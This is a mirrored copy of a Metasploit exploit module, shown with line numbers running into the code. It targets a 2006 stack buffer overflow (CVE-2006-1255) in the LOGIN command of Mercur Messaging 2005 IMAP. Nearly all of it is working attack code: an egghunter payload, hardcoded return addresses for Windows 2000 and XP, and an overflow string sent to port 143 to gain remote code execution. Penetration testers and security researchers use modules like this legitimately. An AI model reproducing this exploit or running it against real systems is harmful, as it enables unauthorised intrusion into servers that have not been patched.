CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/imap/mercur_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.16Since the room for shellcode is small, using the reverse ordinal payloads17yields the best results.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-1255' ],24[ 'OSVDB', '23950' ],25[ 'BID', '17138' ],26[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 228,36'BadChars' => "\x00\x20\x2c\x3a\x40",37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",38},39'Platform' => 'win',40'Targets' =>41[42[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],43[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],44],45'DisclosureDate' => '2006-03-17',46'DefaultTarget' => 0))4748register_options( [ Opt::RPORT(143) ])49end5051def exploit52connect53sock.get_once5455hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })56egg = hunter[1]5758sploit = "A001 LOGIN " + egg + hunter[0]59sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')6061print_status("Trying target #{target.name}...")62sock.put(sploit + "\r\n")6364handler65disconnect66end67end686970